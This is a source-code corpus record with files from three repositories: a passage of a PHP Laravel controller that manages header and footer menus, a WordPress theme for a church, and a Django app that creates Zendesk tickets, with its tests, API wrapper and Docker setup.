echo "success";
die;
}
/* * **
* Manage Header Menu
*/
public function manageHeaderMenu() {
/* * *
* Get Page Posts
*/
$pagePost = postModel::where("post_type", "page")->get();
/* * *
* Get Menu Details
*/
$headerMenu = headerMenuModel::all();
foreach ($headerMenu as $key => $val) {
$headerMenu[$key]->postDetail = postModel::find($val->post_id);
}
$dataArray = array("headerMenuData" => $headerMenu, "pagePost" => $pagePost);
return view('admin/manage-header-menu', ["dataArray" => $dataArray]);
}
/* * *
* Edit Header Menu
*/
public function EditHeaderMenu($menuId) {
/* * *
* Get Page Posts
*/
$pagePost = postModel::where("post_type", "page")->where("status", "active")->get();
/* * *
* Get Menu Details
*/
$headerMenu = headerMenuModel::find($menuId);
$dataArray = array("headerMenuData" => $headerMenu, "pagePost" => $pagePost);
return view('admin/edit-header-menu', ["dataArray" => $dataArray]);
}
/* * *
* Save Header Menu Details
*/
public function EditHeaderMenuDetail() {
$menu_name = $_POST["menu_name"];
$post_category = $_POST["post_category"];
$menu_index = $_POST["menu_index"];
$menu_status = $_POST["menu_status"];
$menuId = $_POST["menuId"];
$headerMenu = headerMenuModel::find($menuId);
$headerMenu->name = $menu_name;
$headerMenu->parent_id = 0;
$headerMenu->header_sort_index = $menu_index;
$headerMenu->post_id = $post_category;
$headerMenu->status = $menu_status;
$headerMenu->updated_at = date("Y-m-d H:i:s");
$headerMenu->save();
Session::flash('message', "Menu updated successfully!");
return Redirect('admin/edit-header-menu/' . $menuId);
}
/* * *
* Add new Header Menu
*/
public function addNewHeaderMenu() {
/* * *
* Get Page Posts
*/
$pagePost = postModel::where("post_type", "page")->where("status", "active")->get();
/* * *
* Get Menu Details
*/
$dataArray = array("pagePost" => $pagePost);
return view('admin/add-header-menu', ["dataArray" => $dataArray]);
}
/* * *
* Function to add new menu
*/
public function addHeaderMenuDetail() {
$menu_name = $_POST["menu_name"];
$post_category = $_POST["post_category"];
$menu_index = $_POST["menu_index"];
$menu_status = $_POST["menu_status"];
$headerMenu = new headerMenuModel;
$headerMenu->name = $menu_name;
$headerMenu->header_sort_index = $menu_index;
$headerMenu->parent_id = 0;
$headerMenu->post_id = $post_category;
$headerMenu->status = $menu_status;
$headerMenu->created_at = date("Y-m-d H:i:s");
$headerMenu->save();
Session::flash('message', "Menu added successfully!");
return Redirect('admin/manage-header-menu');
}
/* * *
* Delete header menu
*/
public function deleteHeaderMenuRecord() {
$record_id = $_POST["record_id"];
$headerMenuModelData = headerMenuModel::find($record_id);
$headerMenuModelData->delete();
echo "success";
die;
}
/* * *
* Manage Footer Menu
*/
public function manageFooterMenu() {
/* * *
* Get Page Posts
*/
$orConditions = array("post_type" => "service", "post_type" => "subservice");
$pagePost = postModel::whereOr($orConditions)->get();
// echo "<pre>";
// print_R($pagePost); die;
/* * *
* Get Menu Details
*/
$footerMenu = footerMenuModel::where('footer_section', "!=", "section4")->get();
foreach ($footerMenu as $key => $val) {
$dataPost = postModel::find($val->post_id);
$footerMenu[$key]->postDetail = $dataPost;
$footerMenu[$key]->ParentpostDetail = $dataPost; //postModel::find($dataPost->parent_id);
}
$dataArray = array("footerMenuData" => $footerMenu, "pagePost" => $pagePost);
return view('admin/manage-footer-menu', ["dataArray" => $dataArray]);
}
/* * *
* Edit footer menu
*/
public function EditFooterMenu($menuId) {
/* * *
* Get Sub Service Post
*/
$orConditions = " post_type='subservice' and status='active'";
$SubServicePost = postModel::whereRaw($orConditions)->get();
/* * *
* Get Service Posts
*/
$orConditions = " post_type='service' and status='active'";
// $orConditions = " post_type='service' OR post_type='subservice' OR post_type='portfolio-category' and status='active'";
$ServicePost = postModel::whereRaw($orConditions)->get();
/**
* Get Portfolio Categories
*/
$orConditions = " post_type='portfolio-category' and status='active'";
$PortfolioPost = postModel::whereRaw($orConditions)->get();
/* * *
* Get Menu Details
*/
$footerMenu = footerMenuModel::find($menuId);
/* * *
* Get Parent Service Detail of selected menu
*/
$ServiceDetails = postModel::find($footerMenu->post_id);
$parentServiceDetails = postModel::find($ServiceDetails->parent_id);
$dataArray = array("footerMenuData" => $footerMenu, "SubServicePost" => $SubServicePost, "ServicePost" => $ServicePost, "PortfolioPost" => $PortfolioPost, "parentServiceDetails" => $parentServiceDetails);
return view('admin/edit-footer-menu', ["dataArray" => $dataArray]);
}
/* * **
* Function to update the menu
*/
public function EditFooterMenuDetail() {
$menuId = $_POST["menuId"];
$menuData = footerMenuModel::find($menuId);
$menuData->parent_id = 0;
$menuData->post_id = $_POST["linked_post"];
$menuData->sort_index = $_POST["menu_index"];
// $menuData->section_title = $_POST["menu_section_title"];
$menuData->name = $_POST["menu_name"];
$menuData->footer_section = $_POST["footer_section"];
$menuData->portfolio_post_id = $_POST["linked_portfolio"];
$menuData->status = $_POST["menu_status"];
$menuData->updated_at = date("Y-m-d H:i:s");
$menuData->save();
Session::flash('message', "Menu updated successfully!");
return Redirect('admin/edit-footer-menu/' . $menuId);
}
/* * *
* Add new Header Menu
*/
public function addNewFooterMenu() {
/* * *
* Get Sub Service Post
*/
$orConditions = " post_type='subservice' and status='active'";
$SubServicePost = postModel::whereRaw($orConditions)->get();
/* * *
* Get Service Posts
*/
$orConditions = " post_type='service' and status='active'";
// $orConditions = " post_type='service' OR post_type='subservice' OR post_type='portfolio-category' and status='active'";
$ServicePost = postModel::whereRaw($orConditions)->get();
/**
* Get Portfolio Categories
*/
$orConditions = " post_type='portfolio-category' and status='active'";
$PortfolioPost = postModel::whereRaw($orConditions)->get();
$dataArray = array("SubServicePost" => $SubServicePost, "ServicePost" => $ServicePost, "PortfolioPost" => $PortfolioPost);
return view('admin/add-footer-menu', ["dataArray" => $dataArray]);
}
/* * ***
* Add Footer Menu
*/
public function addFooterMenuDetail() {
$menuData = new footerMenuModel;
$menuData->parent_id = 0;
$menuData->post_id = $_POST["linked_post"];
$menuData->sort_index = $_POST["menu_index"];
// $menuData->section_title = $_POST["menu_section_title"];
$menuData->name = $_POST["menu_name"];
$menuData->footer_section = $_POST["footer_section"];
$menuData->portfolio_post_id = $_POST["linked_portfolio"];
$menuData->status = $_POST["menu_status"];
$menuData->updated_at = date("Y-m-d H:i:s");
$menuData->save();
Session::flash('message', "Menu updated successfully!");
return Redirect('admin/edit-footer-menu/');
}
/* * *
* Delete header menu
*/
public function deleteFooterMenuRecord() {
$record_id = $_POST["record_id"];
$footerMenuModelData = footerMenuModel::find($record_id);
$footerMenuModelData->delete();
echo "success";
die;
}
/* * *
* Redirect to Access denied
*/
public function accessDenied() {
return view('admin/access-denied');
}
}
| 6c32c3a46193d2be72855f740b38220a0eb96a7c | [
"HTML",
"PHP",
"INI"
] | 24 | PHP | baljit03/deftsoft | 2dd4053a37cf3c53627ddba4b1f18cb901b5be81 | 064f9d8169508d8e8b6ca39fb2331c8a3aae6cf1 |
refs/heads/master | <repo_name>n-insaidoo/St-James-with-St-Luke-WP-Theme<file_sep>/README.md
# St-James-with-St-Luke-WP-Theme
WordPress theme for St James' with St Luke's church
<file_sep>/stjameswithstluke/index.php
<?php
/**
* The main template file
*
*/
get_header();
?>
<section id=primary-content >
<main id=main >
<section id=latest-posts >
<div>
<?php
if( have_posts() ): ?>
<?php while( have_posts() ): the_post(); $post_id = get_the_ID(); ?>
<!-- TODO: refactor with template parts -->
<article id="post-<?php echo $post_id; ?>" <?php post_class(); ?> >
<header>
<h3><?php the_title( "<a href='" . get_the_permalink() . "' >","</a>" ); ?></h3>
</header>
<section id="excerpt-container-<?php echo $post_id; ?>" >
<?php the_excerpt(); ?>
</section>
<footer>
<?php $datetime = get_the_date( "Y-m-d" ) . "T" . get_the_time( "H:i:s" ); ?> <!-- TODO: change into function in inc/ -->
<span> <?php echo __( "Time posted: ", 'stjameswithstluke' ); ?>
<time datetime="<?php echo $datetime; ?>" >
<?php printf( "%s %s",get_the_date(),get_the_time() ); ?>
</time>
</span>
</footer>
</article>
<?php endwhile;?>
<?php endif;?>
</div>
</section>
</main>
</section>
<?php get_footer(); ?><file_sep>/stjameswithstluke/functions.php
<?php
/**
* {@link https://developer.wordpress.org/themes/basics/theme-functions/ Functions and definitions
*
*/
/* Enable WordPress features with add_theme_support(); */
//TODO: look into theme retro-compatibility as specified in Dev handbook
if ( ! function_exists( 'stjameswithstluke_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* This function is hooked into the after_setup_theme hook running before
* the init hook as the latter runs too late for some features, such as
* indicating support for post thumbnails.
*
* Support for theme features will be added based on the feature lists on the {@link https://codex.wordpress.org/Theme_Features#List_of_Features codex}
* and {@link https://developer.wordpress.org/themes/functionality/ developer} docs.
* (also for defaults and general reference).
*/
function stjameswithstluke_setup() {
// Add support for rss feeds
add_theme_support( 'automatic-feed-links' );
// Add support for background customization
add_theme_support( 'custom-background',
array(
'default-color' => '',
'default-image' => '',
'default-repeat' => 'repeat',
'default-position-x' => 'left',
'default-position-y' => 'top',
'default-size' => 'auto',
'default-attachment' => 'scroll',
'admin-head-callback' => '',
'admin-preview-callback' => ''
)
);
/**
* {@link https://developer.wordpress.org/themes/functionality/custom-headers/#add-custom-header-support-to-your-theme Default setup with array keys commented }
*/
add_theme_support( 'custom-header',
array(
'width' => '1426',
'height' => '434',
'default-image' => get_theme_file_uri( '/assets/images/default_header.jpg' ),
'upload' => true,
'header-text' => true,
'default-text-color' => '',
'flex-width' => true,
'flex-height' => true
)
);
// Registers a selection of default headers to be displayed by the custom header admin UI.
register_default_headers(
array(
'parish' => array(
'url' => '%s/assets/images/default_header.jpg',
'thumbnail_url' => '%s/assets/images/default_header_thumbnail.jpg',
'description' => __( 'Parish', 'stjameswithstluke' )
)
)
);
// Add theme support for post thumbnails
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1024, 576);
// Add theme support for custom logo
add_theme_support( 'custom-logo',
array(
'height' => '256',
'width' => '256',
'flex-height' => true,
'flex-width' => true,
// This attribute allows to provide a set of classes matching header elements to be replaced by the logo
'header-text' => ''
)
);
/**
* Add generic post formats support.
* @todo change with more specific function such as {@link https://developer.wordpress.org/themes/functionality/post-formats/#adding-post-type-support post type support}.
*/
add_theme_support( 'post-formats',
array(
'aside',
'gallery',
'link',
'image',
'quote',
'status',
'video',
'audio',
'chat'
)
);
// Register three menus that the theme will use
register_nav_menus(
array(
'header-menu' => __( 'Header Menu', 'stjameswithstluke' ),
'footer-menu' => __( 'Footer Menu', 'stjameswithstluke' ),
'social-footer-menu' => __( 'Social Footer Menu', 'stjameswithstluke' )
)
);
/* Internationalise theme */
//load_theme_textdomain( 'stjameswithstluke', get_template_directory() . '/languages' );
// Enable title tag management (no need to hard-code it in <head> as WP provides it for us)
add_theme_support( 'title-tag' );
}
add_action( 'after_setup_theme', 'stjameswithstluke_setup' );
endif;
/**
* Sets the maximum width to be utilised by {@link https://wordpress.org/support/article/embeds/#okay-so-what-sites-can-i-embed-from supported embeds}.
* @link https://codex.wordpress.org/Content_Widthhttps://wordpress.org/support/article/embeds/#okay-so-what-sites-can-i-embed-from
* @global int $content_width Content width.
*/
function stjameswithstluke_content_width() {
$GLOBALS['content_width'] = apply_filters( 'stjameswithstluke_content_width', 600 );
/**
* In our case (above call) apply_filters will return $value
* The filter has not been set but it's good to have the call here for future use
* @link https://developer.wordpress.org/reference/functions/apply_filters/, https://developer.wordpress.org/reference/functions/add_filter/
*/
}
add_action( 'after_setup_theme', 'stjameswithstluke_content_width' ); //note: we're hooking the function
/* Stylesheets and Js scripts enqueue */
/**
* Enqueue all the theme's stylesheets and js scripts
*/
function add_theme_scripts() {
wp_enqueue_style( 'style', get_stylesheet_uri(), wp_get_theme()->get( 'Version' ) );
/**
* Array that specifies all dependant scripts
* @link https://developer.wordpress.org/themes/basics/including-css-javascript/#default-scripts-included-and-registered-by-wordpress
*/
$dependencies = array(
'jquery',
'json2'
);
wp_enqueue_script( 'script', get_template_directory_uri(), $dependencies, wp_get_theme()->get( 'Version' ), true );
// Add the comment reply script
if( is_singular() && comments_open() && get_option( 'thread_comments' )) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'add_theme_scripts' );
/* Includes */
?><file_sep>/stjameswithstluke/footer.php
<?php
/**
* Template for the footer
*
*/
?>
</div> <!-- #content -->
<footer id=colophon >
<section id=footer-content >
<div class=footer-top-side>
<?php if( !empty( get_bloginfo() ) ): ?>
<div class=side-a >
<!-- footer logo -->
<a href="<?php echo esc_url( get_home_url( '/' ) . ( is_front_page() ) ? '#top' : '' ); ?>" > <!-- TODO: enable scroll up through animate() (js) -->
<span id=footer-logo > <?php bloginfo( 'name' ); ?> </span>
</a>
</div>
<?php if( has_nav_menu( 'social-footer-menu' ) ): ?>
<div class=side-social >
<?php
wp_nav_menu(
array(
'theme_location' => 'social-footer-menu'
)
);
?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php if( has_nav_menu( 'footer-menu' ) ): ?>
<div class=side-b >
<!-- in-line navigation titles -->
<nav class=footer-nav >
<?php
wp_nav_menu(
array(
'theme_location' => 'footer-menu'
)
);
//TODO: define a menu_class; default WP class is 'menu'; could also use built-in menus classes (visit method's docs)
?>
</nav>
</div>
<?php endif; ?>
</div>
<div class=footer-bottom-side >
<div class=side-c >
<!-- TODO: replace with credits -->
<a href="<?php echo esc_url( "https://wordpress.org" ); ?>" >
<?php
printf( __( 'Powered by %s', 'stjameswithstluke' ), 'WordPress' );
?>
</a>
</div>
</div>
</section>
</footer>
</div> <!-- #page -->
<?php wp_footer(); ?>
</body>
</html> | 20b795955a33c72a14202eebc5fb231934631193 | [
"Markdown",
"PHP"
] | 4 | Markdown | n-insaidoo/St-James-with-St-Luke-WP-Theme | 56a099418dfc2eeff23d4c2b2a16b962fa279e5d | 9be1a47efc2a1fefa502fc48961af9b810aa5415 |
refs/heads/master | <repo_name>waffle-iron/zendesk-tickets-machine<file_sep>/zendesk_tickets_machine/tickets/tests/test_forms.py
from django.test import TestCase
from ..forms import TicketForm
from ..models import Ticket
from agents.models import Agent
from agent_groups.models import AgentGroup
from boards.models import Board
class TicketFormTest(TestCase):
def test_ticket_form_should_have_all_defined_fields(self):
form = TicketForm()
expected_fields = [
'subject',
'comment',
'requester',
'assignee',
'group',
'ticket_type',
'priority',
'tags',
'private_comment',
'zendesk_ticket_id',
'board',
]
for each in expected_fields:
self.assertTrue(each in form.fields)
self.assertEqual(len(form.fields), 11)
def test_ticket_form_should_save_zendesk_ticket_id_as_null(self):
agent = Agent.objects.create(
name='<NAME>',
zendesk_user_id='6969'
)
agent_group = AgentGroup.objects.create(name='Development')
board = Board.objects.create(name='Pre-Production')
data = {
'subject': 'Welcome',
'comment': 'This is a comment.',
'requester': '<EMAIL>',
'assignee': agent.id,
'group': agent_group.id,
'ticket_type': 'task',
'priority': 'urgent',
'tags': 'welcome',
'private_comment': 'Private comment',
'board': board.id
}
form = TicketForm(data)
form.save()
ticket = Ticket.objects.last()
self.assertIsNone(ticket.zendesk_ticket_id)
<file_sep>/zendesk_tickets_machine/boards/urls.py
from django.conf.urls import url
from .views import (
BoardView,
BoardResetView,
BoardSingleView,
BoardZendeskTicketsCreateView,
)
urlpatterns = [
url(r'^$', BoardView.as_view(), name='boards'),
url(r'^(?P<slug>[\w-]+)/$',
BoardSingleView.as_view(), name='board_single'),
url(r'^(?P<slug>[\w-]+)/reset/$',
BoardResetView.as_view(), name='board_reset'),
url(r'^(?P<slug>[\w-]+)/tickets/$',
BoardZendeskTicketsCreateView.as_view(), name='board_tickets_create'),
]
<file_sep>/zendesk_tickets_machine/zendesk/api.py
from django.conf import settings
import requests
class Ticket(object):
def __init__(self):
self.zendesk_api_url = settings.ZENDESK_API_URL
self.zendesk_api_user = settings.ZENDESK_API_USER
self.zendesk_api_token = settings.ZENDESK_API_TOKEN
self.headers = {'content-type': 'application/json'}
def create(self, data):
url = self.zendesk_api_url + '/api/v2/tickets.json'
response = requests.post(
url,
auth=(self.zendesk_api_user, self.zendesk_api_token),
headers=self.headers,
json=data
)
return response.json()
def create_comment(self, data, ticket_id):
url = self.zendesk_api_url + '/api/v2/tickets/{}.json'.format(
ticket_id
)
response = requests.put(
url,
auth=(self.zendesk_api_user, self.zendesk_api_token),
headers=self.headers,
json=data
)
return response.json()
class User(object):
def __init__(self):
self.zendesk_api_url = settings.ZENDESK_API_URL
self.zendesk_api_user = settings.ZENDESK_API_USER
self.zendesk_api_token = settings.ZENDESK_API_TOKEN
self.headers = {'content-type': 'application/json'}
def search(self, query):
url = self.zendesk_api_url + '/api/v2/users/search.json'
payload = {
'query': query
}
response = requests.get(
url,
auth=(self.zendesk_api_user, self.zendesk_api_token),
headers=self.headers,
params=payload
)
return response.json()
<file_sep>/Dockerfile
FROM python:3.5.2
RUN pip install Django==1.10.4 \
psycopg2==2.6.2 \
requests==2.12.3 \
uWSGI==2.0.14
ENV APPLICATION_ROOT /app/
RUN mkdir $APPLICATION_ROOT
ADD . $APPLICATION_ROOT
WORKDIR $APPLICATION_ROOT
RUN pip install -r requirements.txt
RUN chmod +x entrypoint.sh
ENTRYPOINT ["./entrypoint.sh"]
<file_sep>/docker-compose.yml
version: '2'
services:
nginx:
build:
context: nginx/
dockerfile: Dockerfile
ports:
- 8080:80
volumes:
- ./static:/static
depends_on:
- ztm
ztm:
build:
context: .
dockerfile: Dockerfile
volumes:
- ./static:/static
depends_on:
- db
db:
image: postgres:9.6.1-alpine
volumes:
- ./postgres-data:/var/lib/postgresql/data
environment:
- POSTGRES_USER=ztm
<file_sep>/zendesk_tickets_machine/zendesk_tickets_machine/settings/production_heroku.py
import os
from .base import *
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
ALLOWED_HOSTS = ['*']
# Simplified static file serving.
# https://warehouse.python.org/project/whitenoise/
STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'
# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases
import dj_database_url
DATABASES['default'] = dj_database_url.config()
<file_sep>/zendesk_tickets_machine/tickets/tests/test_views.py
from django.core.urlresolvers import reverse
from django.test import TestCase
from ..models import Ticket
from agents.models import Agent
from agent_groups.models import AgentGroup
from boards.models import Board
class TicketEditViewTest(TestCase):
def setUp(self):
agent = Agent.objects.create(name='Kan', zendesk_user_id='123')
agent_group = AgentGroup.objects.create(
name='Development',
zendesk_group_id='123'
)
self.board = Board.objects.create(name='Pre-Production')
self.ticket = Ticket.objects.create(
subject='Ticket 1',
comment='Comment 1',
requester='<EMAIL>',
assignee=agent,
group=agent_group,
ticket_type='question',
priority='urgent',
tags='welcome',
private_comment='Private comment',
zendesk_ticket_id='24328',
board=self.board
)
def test_ticket_edit_view_should_be_accessible(self):
response = self.client.get(
reverse('ticket_edit', kwargs={'ticket_id': self.ticket.id})
)
self.assertEqual(response.status_code, 200)
def test_ticket_edit_view_should_have_back_link_to_ticket_list(self):
response = self.client.get(
reverse('ticket_edit', kwargs={'ticket_id': self.ticket.id})
)
expected = '<a href="%s">Back</a>' % reverse(
'board_single',
kwargs={'slug': self.ticket.board.slug}
)
self.assertContains(response, expected, count=1, status_code=200)
def test_ticket_edit_view_should_have_table_header(self):
response = self.client.get(
reverse('ticket_edit', kwargs={'ticket_id': self.ticket.id})
)
expected = '<th>Subject</th>' \
'<th>Comment</th>' \
'<th>Requester</th>' \
'<th>Assignee</th>' \
'<th>Group</th>' \
'<th>Ticket Type</th>' \
'<th>Priority</th>' \
'<th>Tags</th>' \
'<th>Private Comment</th>' \
'<th>Zendesk Ticket ID</th>'
self.assertContains(response, expected, count=1, status_code=200)
def test_ticket_edit_view_should_render_ticket_form(self):
response = self.client.get(
reverse('ticket_edit', kwargs={'ticket_id': self.ticket.id})
)
expected = '<form method="post">'
self.assertContains(response, expected, status_code=200)
expected = "<input type='hidden' name='csrfmiddlewaretoken'"
self.assertContains(response, expected, status_code=200)
expected = '<input class="form-control" id="id_subject" ' \
'maxlength="300" name="subject" placeholder="Subject" ' \
'type="text" value="Ticket 1" required />'
self.assertContains(response, expected, status_code=200)
expected = 'textarea class="form-control" cols="40" id="id_comment" ' \
'name="comment" placeholder="Comment" rows="6" required>'
self.assertContains(response, expected, status_code=200)
expected = 'Comment 1</textarea>'
self.assertContains(response, expected, status_code=200)
expected = '<input class="form-control" id="id_requester" ' \
'maxlength="100" name="requester" placeholder="Requester" ' \
'type="text" value="<EMAIL>" required />'
self.assertContains(response, expected, status_code=200)
expected = '<select class="form-control" id="id_assignee" ' \
'name="assignee" required>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="1" selected="selected">Kan</option>'
self.assertContains(response, expected, status_code=200)
expected = '<select class="form-control" id="id_group" ' \
'name="group" required>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="1" selected="selected">Development</option>'
self.assertContains(response, expected, status_code=200)
expected = '<select class="form-control" id="id_ticket_type" ' \
'name="ticket_type" required>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="question" selected="selected">Question' \
'</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="incident">Incident</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="problem">Problem</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="task">Task</option>'
self.assertContains(response, expected, status_code=200)
expected = '<select class="form-control" id="id_priority" ' \
'name="priority" required>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="high">High</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="urgent" selected="selected">Urgent</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="normal">Normal</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="low">Low</option>'
self.assertContains(response, expected, status_code=200)
expected = '<input class="form-control" id="id_tags" ' \
'maxlength="300" name="tags" placeholder="Tags" type="text" ' \
'value="welcome" />'
self.assertContains(response, expected, status_code=200)
expected = '<textarea class="form-control" cols="40" ' \
'id="id_private_comment" name="private_comment" ' \
'placeholder="Private Comment" rows="13">'
self.assertContains(response, expected, status_code=200)
expected = 'Private comment</textarea>'
self.assertContains(response, expected, status_code=200)
expected = '<input id="id_zendesk_ticket_id" maxlength="50" ' \
'name="zendesk_ticket_id" type="text" value="24328" />'
self.assertContains(response, expected, status_code=200)
expected = '<input id="id_board" name="board" type="hidden" ' \
'value="%s" />' % self.board.id
self.assertContains(response, expected, status_code=200)
expected = '<input type="submit">'
self.assertContains(response, expected, status_code=200)
def test_ticket_edit_view_should_save_data_and_redirect_to_its_board(self):
agent = Agent.objects.create(name='Kan', zendesk_user_id='123')
agent_group = AgentGroup.objects.create(
name='Development',
zendesk_group_id='123'
)
data = {
'subject': 'Welcome to Pronto Service',
'comment': 'This is a comment.',
'requester': '<EMAIL>',
'assignee': agent.id,
'group': agent_group.id,
'ticket_type': 'question',
'priority': 'urgent',
'tags': 'welcome',
'private_comment': 'Private comment',
'zendesk_ticket_id': '24328',
'board': self.board.id
}
response = self.client.post(
reverse('ticket_edit', kwargs={'ticket_id': self.ticket.id}),
data=data
)
ticket = Ticket.objects.get(id=self.ticket.id)
self.assertEqual(ticket.subject, 'Welcome to Pronto Service')
self.assertEqual(ticket.comment, 'This is a comment.')
self.assertEqual(ticket.requester, '<EMAIL>')
self.assertEqual(ticket.assignee.name, 'Kan')
self.assertEqual(ticket.group.name, 'Development')
self.assertEqual(ticket.ticket_type, 'question')
self.assertEqual(ticket.priority, 'urgent')
self.assertEqual(ticket.tags, 'welcome')
self.assertEqual(ticket.private_comment, 'Private comment')
self.assertEqual(ticket.zendesk_ticket_id, '24328')
self.assertEqual(ticket.board.id, self.board.id)
self.assertRedirects(
response,
reverse('board_single', kwargs={'slug': ticket.board.slug}),
status_code=302,
target_status_code=200
)
class TicketDeleteViewTest(TestCase):
def setUp(self):
agent = Agent.objects.create(name='Kan', zendesk_user_id='123')
agent_group = AgentGroup.objects.create(
name='Development',
zendesk_group_id='123'
)
self.board = Board.objects.create(name='Pre-Production')
self.ticket = Ticket.objects.create(
subject='Ticket 1',
comment='Comment 1',
requester='<EMAIL>',
assignee=agent,
group=agent_group,
ticket_type='question',
priority='urgent',
tags='welcome',
private_comment='Private comment',
zendesk_ticket_id='24328',
board=self.board
)
def test_ticket_delete_view_should_delete_then_redirect_to_its_board(self):
response = self.client.get(
reverse('ticket_delete', kwargs={'ticket_id': self.ticket.id})
)
self.assertEqual(Ticket.objects.count(), 0)
self.assertRedirects(
response,
reverse('board_single', kwargs={'slug': self.ticket.board.slug}),
status_code=302,
target_status_code=200
)
<file_sep>/zendesk_tickets_machine/tickets/admin.py
from django.contrib import admin
from .models import Ticket
@admin.register(Ticket)
class TicketAdmin(admin.ModelAdmin):
list_display = (
'subject',
'comment',
'requester',
'assignee',
'ticket_type',
'priority',
'tags',
'board',
)
list_filter = ('board__name',)
<file_sep>/zendesk_tickets_machine/boards/tests/test_views.py
from unittest.mock import call, patch
from django.conf import settings
from django.core.urlresolvers import reverse
from django.test import TestCase
from django.test.utils import override_settings
from ..models import Board, BoardGroup
from agents.models import Agent
from agent_groups.models import AgentGroup
from requesters.models import Requester
from tickets.models import Ticket
class BoardViewTest(TestCase):
def test_board_view_should_have_title(self):
response = self.client.get(reverse('boards'))
expected = '<title>Pronto Zendesk Tickets Machine</title>'
self.assertContains(response, expected, status_code=200)
def test_board_view_should_show_boards_in_board_group(self):
board_group = BoardGroup.objects.create(name='CP Production')
first_board = Board.objects.create(
name='Pre-Production',
board_group=board_group
)
second_board = Board.objects.create(
name='Monthly Newsletter',
board_group=board_group
)
response = self.client.get(reverse('boards'))
expected = '<h1>Boards</h1>'
self.assertContains(response, expected, status_code=200)
expected = '<li>CP Production</li>'
self.assertContains(response, expected, status_code=200)
expected = '<li><a href="%s">%s</a></li>' % (
reverse(
'board_single', kwargs={'slug': first_board.slug}
),
first_board.name
)
self.assertContains(response, expected, status_code=200)
expected = '<li><a href="%s">%s</a></li>' % (
reverse(
'board_single', kwargs={'slug': second_board.slug}
),
second_board.name
)
self.assertContains(response, expected, status_code=200)
def test_board_view_should_show_ungrouped_boards(self):
board = Board.objects.create(name='Pre-Production')
response = self.client.get(reverse('boards'))
expected = '<h1>Boards</h1>'
self.assertContains(response, expected, status_code=200)
expected = '<li>Undefined Group</li>'
self.assertContains(response, expected, status_code=200)
expected = '<li><a href="%s">%s</a></li>' % (
reverse(
'board_single', kwargs={'slug': board.slug}
),
board.name
)
self.assertContains(response, expected, status_code=200)
class BoardSingleViewTest(TestCase):
def setUp(self):
self.agent = Agent.objects.create(name='Natty', zendesk_user_id='456')
self.agent_group = AgentGroup.objects.create(
name='Development',
zendesk_group_id='123'
)
self.board = Board.objects.create(name='Pre-Production')
self.first_ticket = Ticket.objects.create(
subject='Ticket 1',
comment='Comment 1',
requester='<EMAIL>',
assignee=self.agent,
group=self.agent_group,
ticket_type='question',
priority='urgent',
tags='welcome',
private_comment='Private comment',
zendesk_ticket_id='24328',
board=self.board
)
board = Board.objects.create(name='Production')
self.second_ticket = Ticket.objects.create(
subject='Ticket 2',
comment='Comment 2',
requester='<EMAIL>',
assignee=self.agent,
group=self.agent_group,
ticket_type='question',
priority='high',
tags='welcome internal',
private_comment='Private comment',
board=board
)
def test_board_single_view_should_have_title_with_board_name(self):
response = self.client.get(
reverse('board_single', kwargs={'slug': self.board.slug})
)
expected = '<title>%s | Pronto Zendesk Tickets Machine' \
'</title>' % self.board.name
self.assertContains(response, expected, status_code=200)
def test_board_single_view_should_render_ticket_form(self):
response = self.client.get(
reverse('board_single', kwargs={'slug': self.board.slug})
)
expected = '<form method="post">'
self.assertContains(response, expected, status_code=200)
expected = "<input type='hidden' name='csrfmiddlewaretoken'"
self.assertContains(response, expected, status_code=200)
expected = '<input class="form-control" id="id_subject" ' \
'maxlength="300" name="subject" placeholder="Subject" ' \
'type="text" required />'
self.assertContains(response, expected, status_code=200)
expected = '<input class="form-control" id="id_requester" ' \
'maxlength="100" name="requester" placeholder="Requester" ' \
'type="text" required />'
self.assertContains(response, expected, status_code=200)
expected = '<textarea class="form-control" cols="40" ' \
'id="id_comment" name="comment" placeholder="Comment" rows="6" ' \
'required>'
self.assertContains(response, expected, status_code=200)
expected = '<input class="form-control" id="id_tags" ' \
'maxlength="300" name="tags" placeholder="Tags" type="text" />'
self.assertContains(response, expected, status_code=200)
expected = '<select class="form-control" id="id_assignee" ' \
'name="assignee" required>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="1">Natty</option>'
self.assertContains(response, expected, status_code=200)
expected = '<select class="form-control" id="id_group" name="group" ' \
'required>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="1">Development</option>'
self.assertContains(response, expected, status_code=200)
expected = '<select class="form-control" id="id_ticket_type" ' \
'name="ticket_type" required>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="question">Question</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="incident">Incident</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="problem">Problem</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="task">Task</option>'
self.assertContains(response, expected, status_code=200)
expected = '<select class="form-control" id="id_priority" ' \
'name="priority" required>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="high">High</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="urgent">Urgent</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="normal">Normal</option>'
self.assertContains(response, expected, status_code=200)
expected = '<option value="low">Low</option>'
self.assertContains(response, expected, status_code=200)
expected = '<textarea class="form-control" cols="40" ' \
'id="id_private_comment" name="private_comment" ' \
'placeholder="Private Comment" rows="13">'
self.assertContains(response, expected, status_code=200)
expected = '<input id="id_board" name="board" type="hidden" ' \
'value="%s" />' % self.board.id
self.assertContains(response, expected, status_code=200)
expected = '<button type="submit" class="btn btn-default">' \
'Add New Ticket</button>'
self.assertContains(response, expected, status_code=200)
